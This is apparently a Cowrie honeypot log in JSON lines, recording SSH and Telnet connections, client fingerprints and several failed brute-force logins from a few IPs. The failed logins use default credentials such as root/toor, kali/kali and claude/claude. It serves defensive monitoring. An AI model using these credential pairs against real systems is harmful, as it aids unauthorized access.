{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:57.397058Z","src_ip":"91.92.40.153","session":"d56c983a388b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:57.400395Z","src_ip":"91.92.40.153","session":"d56c983a388b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33530,"dst_ip":"159.203.135.109","dst_port":22,"session":"3544eb631b9b","protocol":"ssh","message":"New connection: 160.187.174.22:33530 (159.203.135.109:22) [session: 3544eb631b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:57.842166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:57.846063Z","src_ip":"160.187.174.22","session":"3544eb631b9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:58.093031Z","src_ip":"160.187.174.22","session":"3544eb631b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:58.258226Z","src_ip":"139.99.74.35","session":"ef34221de6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":43044,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c0dd39112b1","protocol":"ssh","message":"New connection: 139.99.74.35:43044 (159.203.135.109:22) [session: 5c0dd39112b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:58.503456Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:58.837204Z","src_ip":"160.187.174.22","session":"3544eb631b9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:58.887437Z","src_ip":"91.92.40.153","session":"d56c983a388b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:00.032002Z","src_ip":"91.92.40.153","session":"d56c983a388b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:00.088297Z","src_ip":"160.187.174.22","session":"3544eb631b9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55960,"dst_ip":"159.203.135.109","dst_port":23,"session":"85532998a3df","protocol":"telnet","message":"New connection: 170.64.224.25:55960 (159.203.135.109:23) [session: 85532998a3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:01.347491Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:03.282283Z","src_ip":"139.99.74.35","session":"5c0dd39112b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":43058,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3be311bbcf8","protocol":"ssh","message":"New connection: 139.99.74.35:43058 (159.203.135.109:22) [session: c3be311bbcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:03.503706Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38046,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c667f65ecb8","protocol":"ssh","message":"New connection: 91.92.40.153:38046 (10.17.0.5:22) [session: 9c667f65ecb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:04.086409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:04.116444Z","src_ip":"91.92.40.153","session":"9c667f65ecb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:04.209994Z","src_ip":"91.92.40.153","session":"9c667f65ecb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345678","message":"login attempt [admin1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:04.796489Z","src_ip":"91.92.40.153","session":"9c667f65ecb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:06.341001Z","src_ip":"91.92.40.153","session":"9c667f65ecb8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:09.191041Z","src_ip":"139.99.74.35","session":"c3be311bbcf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:09.195009Z","src_ip":"139.99.74.35","session":"c3be311bbcf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38110,"dst_ip":"10.17.0.5","dst_port":22,"session":"8696db8d876e","protocol":"ssh","message":"New connection: 91.92.40.153:38110 (10.17.0.5:22) [session: 8696db8d876e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:09.764094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:10.283304Z","src_ip":"91.92.40.153","session":"8696db8d876e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:10.286306Z","src_ip":"91.92.40.153","session":"8696db8d876e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58810,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ae28ff1f244","protocol":"telnet","message":"New connection: 170.64.224.25:58810 (159.203.135.109:23) [session: 9ae28ff1f244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:10.533633Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34426,"dst_ip":"159.203.135.109","dst_port":23,"session":"d69b2d56bdb5","protocol":"telnet","message":"New connection: 107.6.151.170:34426 (159.203.135.109:23) [session: d69b2d56bdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:11.251485Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:11.818339Z","src_ip":"91.92.40.153","session":"8696db8d876e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.13719129562378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:12.931629Z","src_ip":"170.64.224.25","session":"be2e06e0b9a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:13.231713Z","src_ip":"91.92.40.153","session":"8696db8d876e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33150,"dst_ip":"10.17.0.5","dst_port":22,"session":"236bcb43a125","protocol":"ssh","message":"New connection: 91.92.40.153:33150 (10.17.0.5:22) [session: 236bcb43a125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:15.978587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:16.200605Z","src_ip":"91.92.40.153","session":"236bcb43a125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:16.206574Z","src_ip":"91.92.40.153","session":"236bcb43a125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:17.593131Z","src_ip":"91.92.40.153","session":"236bcb43a125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:19.105468Z","src_ip":"91.92.40.153","session":"236bcb43a125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33194,"dst_ip":"10.17.0.5","dst_port":22,"session":"6284acaa0656","protocol":"ssh","message":"New connection: 91.92.40.153:33194 (10.17.0.5:22) [session: 6284acaa0656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:21.587134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:21.939970Z","src_ip":"91.92.40.153","session":"6284acaa0656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:21.947591Z","src_ip":"91.92.40.153","session":"6284acaa0656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33468,"dst_ip":"159.203.135.109","dst_port":22,"session":"81dd50706723","protocol":"ssh","message":"New connection: 160.187.174.22:33468 (159.203.135.109:22) [session: 81dd50706723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:23.749450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:23.757117Z","src_ip":"160.187.174.22","session":"81dd50706723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:23.994260Z","src_ip":"160.187.174.22","session":"81dd50706723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45892,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9aefc2e607b","protocol":"telnet","message":"New connection: 107.6.151.170:45892 (159.203.135.109:23) [session: f9aefc2e607b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:24.427663Z"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:24.523973Z","src_ip":"91.92.40.153","session":"6284acaa0656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:24.710622Z","src_ip":"160.187.174.22","session":"81dd50706723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41094,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d669092aba","protocol":"telnet","message":"New connection: 170.64.224.25:41094 (159.203.135.109:23) [session: e2d669092aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:25.589803Z"}
